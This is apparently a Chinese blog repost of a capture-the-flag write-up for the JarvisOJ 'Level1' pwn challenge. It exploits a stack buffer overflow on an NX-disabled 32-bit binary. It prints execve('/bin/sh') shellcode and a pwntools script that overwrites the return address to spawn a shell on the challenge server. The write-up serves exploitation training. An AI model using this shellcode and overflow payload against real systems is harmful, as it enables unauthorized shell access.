您的位置:首页 > 其它

JarvisOJ-PWN-Level1

2018-03-16 13:41 731 查看

JarvisOJ-PWN-Level

先checksec一下:



发现NX栈保护没有打开,也就是堆栈代码没有进行保护,那么就就题目很可能就是要输入shellcode在栈里执行吧。

打开IDA分析(32位):

主函数:



vulner..fuction()函数:



题目的逻辑是打出buf的首地址然后写入从标准输入100字节给buf。

然后输出Holle world。

我们再看buf的内存分配:





buf的内存长度就=0x00000004-(-0x00000088)=0x8c

0x100>0x8c,存在栈溢出。

然而我们这次没有system的地址了,栈溢出也没用,这时我们想起该程序没有NX保护,所以可以自己写shellcode,也就是将shellcode写入栈,在栈里执行system(“/bin/sh”),这就需要我们将ret的jmp变成buf的首地址,使得read结束后调用buf地址从而执行shellcode,而buf首地址也正好给了我们。

OK,开始写shellcode了,可以参考这个写shellcode。

可以用我的另一个赚们写shellcode的博客参考下:

http://blog.csdn.net/qq_35495684/article/details/79583232

所以我们获得了shellcode:

shellcode="\x31\xc0\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xb0\x0b\xcd\x80"


getshell代码:

# -*- coding: utf-8 -*-

from pwn import*
#context(log_level = 'debug', arch = 'i386', os = 'linux')

#shellcode=asm(shellcraft.sh())

r=remote('pwn2.jarvisoj.com', 9877)#连接
#r=process("./test")

shellcode="\x31\xc0\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xb0\x0b\xcd\x80"
addr=int(r.readline()[len("What's this:"):-2],16)
payload=shellcode+'a'*(0x8c-len(shellcode))+p32(addr)
r.sendline(payload)
r.interactive()


内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: